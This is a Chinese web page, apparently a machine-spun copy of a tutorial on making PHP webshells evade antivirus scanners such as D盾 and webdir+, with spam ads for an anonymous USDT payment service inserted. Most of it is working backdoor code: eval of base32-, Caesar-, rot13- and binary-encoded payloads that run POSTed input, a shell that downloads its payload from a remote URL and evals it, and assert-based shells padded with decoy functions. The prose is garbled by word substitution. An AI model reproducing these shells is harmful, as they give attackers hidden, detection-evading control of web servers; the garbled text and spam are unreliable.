usdt无需实名(www.caibao.it):一些webshell免杀的技巧

2021-03-23 浏览(28) 评论(0) 当前位置:首页>科技>usdt无需实名(www.caibao.it):一些webshell免杀的技巧

USDT第三方支付平台

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

0x00:前言
由于杀软的规则在不停更新 以是许多之前的过杀软方式基本上都不行了 而且随着php7逐渐扩张 assert马也将被镌汰 以是本文将提出几种免杀思绪 效果很好 而且不会被杀软的正则和沙盒规则约束。

0x01:自界说加密Bypass
部门杀软会直接将一些编码函数如Base64、编码后的要害字或组合函数加入了规则 好比某dir+

好比这个 都能被检测出是shell

以是为了防止这种的规则 自界说加密显然是更优解

自界说加密可选性多了 只要能把加密后的字符还原回去就行 好比base32 base58 这类的base编码全家桶 或者自界说ascii移位 甚至是对称加密算法等都是可以绕过这类规则检测

  • base32编码payload
    (https://github.com/pureqh/webshell):
    <?php
    class KUYE{
          public $DAXW = null;
          public $LRXV = null;
          function __construct(){
          $this->DAXW = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
          $this->LRXV = @SYXJ($this->DAXW);
          @eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
          }}
    new KUYE();
    function MNWK($QSFX){
      $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
      $NLHB = '';
      $v = 0;
      $vbits = 0;
      for ($i = 0, $j = strlen($QSFX); $i < $j; $i++){
      $v <<= 8;
          $v += ord($QSFX[$i]);
          $vbits += 8;
          while ($vbits >= 5) {
              $vbits -= 5;
              $NLHB .= $BASE32_ALPHABET[$v >> $vbits];
              $v &= ((1 << $vbits) - 1);}}
      if ($vbits > 0){
          $v <<= (5 - $vbits);
          $NLHB .= $BASE32_ALPHABET[$v];}
      return $NLHB;}
    function SYXJ($QSFX){
      $NLHB = '';
      $v = 0;
      $vbits = 0;
      for ($i = 0, $j = strlen($QSFX); $i < $j; $i++){
          $v <<= 5;
          if ($QSFX[$i] >= 'a' && $QSFX[$i] <= 'z'){
              $v += (ord($QSFX[$i]) - 97);
          } elseif ($QSFX[$i] >= '2' && $QSFX[$i] <= '7') {
              $v += (24 + $QSFX[$i]);
          } else {
              exit(1);
          }
          $vbits += 5;
          while ($vbits >= 8){
              $vbits -= 8;
              $NLHB .= chr($v >> $vbits);
              $v &= ((1 << $vbits) - 1);}}
      return $NLHB;}
    ?>
    
  • ascii码移位payload(凯撒加密)
    <?php
    class FKPC{
          function __construct(){
          $this->TQYV = "bs^i%!\MLPQXwbolZ&8";
          $this->WZDM = @HHGJ($this->TQYV);
          @eval("/*,jkskjwjqo*/".$this->WZDM."/*sj,ahajsj*/");
          }}
    new FKPC();
    function HHGJ($UyGv) {
    $svfe = [];
    $mxAS = '';
    $f = $UyGv;
    for ($i=0;$i<strlen($f);$i++)
    {
      $svfe[] = chr((ord($f[$i])+3));
    }
    $mxAS = implode($svfe);
    return $mxAS ;
    }
    ?>
    

    居然没过webdir+

那若何解决呢 我们后面再说 固然应付D盾照样绰绰有余了

  • Rot13加密payload
    ```php
    <?php

class KUYE{
public $DAXW = null;
public $LRXV = null;
function __construct(){
$this->DAXW = 'riny($_CBFG[mreb]);';
$this->LRXV = @str_rot13($this->DAXW);
@eval("/GnSpe=u/".$this->LRXV."/GnSpe=u/");
}}
new KUYE();

?>

- 二进制转化payload
```php
<?php

class KUYE{
        public $DAXW = null;
        public $LRXV = null;
        function __construct(){
        $this->DAXW = '1100101 1110110 1100001 1101100 101000 100100 1011111 1010000 1001111 1010011 1010100 1011011 1111010 1100101 1110010 1101111 1011101 101001 111011';
        $this->LRXV = @BinToStr($this->DAXW);
        @eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
        }}
new KUYE();
function BinToStr($str){
    $arr = explode(' ', $str);
    foreach($arr as &$v){
        $v = pack("H".strlen(base_convert($v, 2, 16)), base_convert($v, 2, 16));
    }

    return join('', $arr);
}
?>


这里就不枚举了 只要方式准确 绕过杀软是很简朴的

0x02:通过http获得要害参数
上面谁人凯撒密码不是被webdir+杀了吗 我们在这里将他绕过

众所周知凯撒密码需要设置往前或往后移几位ascii 这个参数可以设置为解密方式的输入参数 经由测试 此参数在源码中会被沙盒跑出了 因此不能过百度杀毒 ,那么 我不写内陆不就行了 我直接起一个http服务接见文本获得参数值。

<?php
class FKPC{
        function __construct(){
        $url = "http://xxxxx:8080/1.txt";
        $fp = fopen($url, 'r');
        stream_get_meta_data($fp);
        while (!feof($fp)) {
            $body.= fgets($fp, 1024);
        }
        $this->x = $body;
        $this->TQYV = "bs^i%!\MLPQXwbolZ&8";
        $this->WZDM = @HHGJ($this->TQYV,$this->x);
        @eval("/*,jkskjwjqo*/".$this->WZDM."/*sj,ahajsj*/");
        }}
new FKPC();

function HHGJ($UyGv,$x) {
$svfe = [];
$mxAS = '';
$f = $UyGv;
for ($i=0;$i<strlen($f);$i++)
{
    $svfe[] = chr((ord($f[$i])+$x));
}
$mxAS = implode($svfe);
return $mxAS ;
}
?>


固然一定能用

然则 这转了一圈简直不低碳啊 我不能直接http获取payload吗 ...

简化代码:

<?php
class KUYE{
        public $a = 'yshasaui';
        public $b = '';
        function __construct(){
        $url = "http://xxx/1.txt";
        $fp = fopen($url, 'r');
        stream_get_meta_data($fp);
        while (!feof($fp)) {
            $body.= fgets($fp, 1024);
        }
        $this->b = $body;
        @eval("/*GnSpe=121u*/".$this->b."/*Gn212Spe=u*/");
        }}
new KUYE();
?>



0x03:重写函数Bypass
众所周知 正则类杀软最喜欢直接把危险函数加入规则 那么 它杀的是函数名 照样逻辑呢?

试一试就知道了

,

Usdt第三方支付接口

菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

我们的样本如下:

<?php

$a = substr("assertxx",0,6);

$a($_POST['x']);

?>

这是个使用substr函数切割要害字的小马

直接扔到webdir+杀

毫无疑问的被杀了

那么 我们重写substr函数

function mysubstr($string, $start = 0, $length = null) {
    $result = '';
    $strLength = strlen($string);
    if ($length === null) {
        $length = $strLength;
    }
    $length = (int) $length;
    $start = $start < 0 ? ($strLength + $start) : ($start);
    $end = $length < 0 ? ($strLength + $length) : $start + $length;
    if ($start > $strLength || ($end - $start) === 0) {
        return $result;
    }
    for (; $start < $end; $start ++) {
        $result .= $string[$start];
    }
    return $result;
}

然后把函数替换

<?php
$b = 'assert(xyz@';
$c =  mysubstr($b,0,6);
$c($_POST['zero']);
function mysubstr($string, $start = 0, $length = null) {
    $result = '';
    $strLength = strlen($string);
    if ($length === null) {
        $length = $strLength;
    }
    $length = (int) $length;
    $start = $start < 0 ? ($strLength + $start) : ($start);
    $end = $length < 0 ? ($strLength + $length) : $start + $length;
    if ($start > $strLength || ($end - $start) === 0) {
        return $result;
    }
    for (; $start < $end; $start ++) {
        $result .= $string[$start];
    }
    return $result;
}
?>

再拿去杀

结论很清晰了

再来D盾杀一下

不错 报2级了 这就是沙盒型查杀和正则类查杀的显著区别 怎么过呢 用组织方式即可

<?php

class pure
{
  public $a = '';
  function __destruct(){

    assert("$this->a");
  }
}
$b = new pure;
$b->a = $_POST['zero'];
function mysubstr($string, $start = 0, $length = null) {
    $result = '';
    $strLength = strlen($string);
    if ($length === null) {
        $length = $strLength;
    }
    $length = (int) $length;
    $start = $start < 0 ? ($strLength + $start) : ($start);
    $end = $length < 0 ? ($strLength + $length) : $start + $length;
    if ($start > $strLength || ($end - $start) === 0) {
        return $result;
    }
    for (; $start < $end; $start ++) {
        $result .= $string[$start];
    }
    return $result;
}
?>


看到这里人人可能也很新鲜 这里都没用到mysubstr函数 放上去不是画蛇添足吗

欠美意思 恰恰不是 我们可以去掉这个函数 用D盾杀一下

<?php

class pure
{
  public $a = '';
  function __destruct(){

    assert("$this->a");
  }
}
$b = new pure;
$b->a = $_POST['zero'];
?>


怎么样 是不是很有趣

这里放这堆代码并不是为了真的用它 而是为了过D盾的特征查杀 以是放什么函数是无所谓的。

好比这样:

<?php

class pure
{
  public $a = '';
  function __destruct(){

    assert("$this->a");
  }
}
$b = new pure;
$b->a = $_POST['zero'];
function mysubstr($a,$b) {
    echo "?sasasjajksjka";
    echo "?sasasjajksjka";
    echo "?sasasjajksjka";
    echo "?sasasjajksjka";
    echo "?sasasjajksjka";
    echo "?sasasjajksjka";
    echo "?sasasjajksjka";
    echo "?sasasjajksjka";
}
?>


这里只先容了重写substr函数 那么其他的函数可以吗 固然可以
**0x04:写在后面

只要头脑不滑坡 方式总比难题多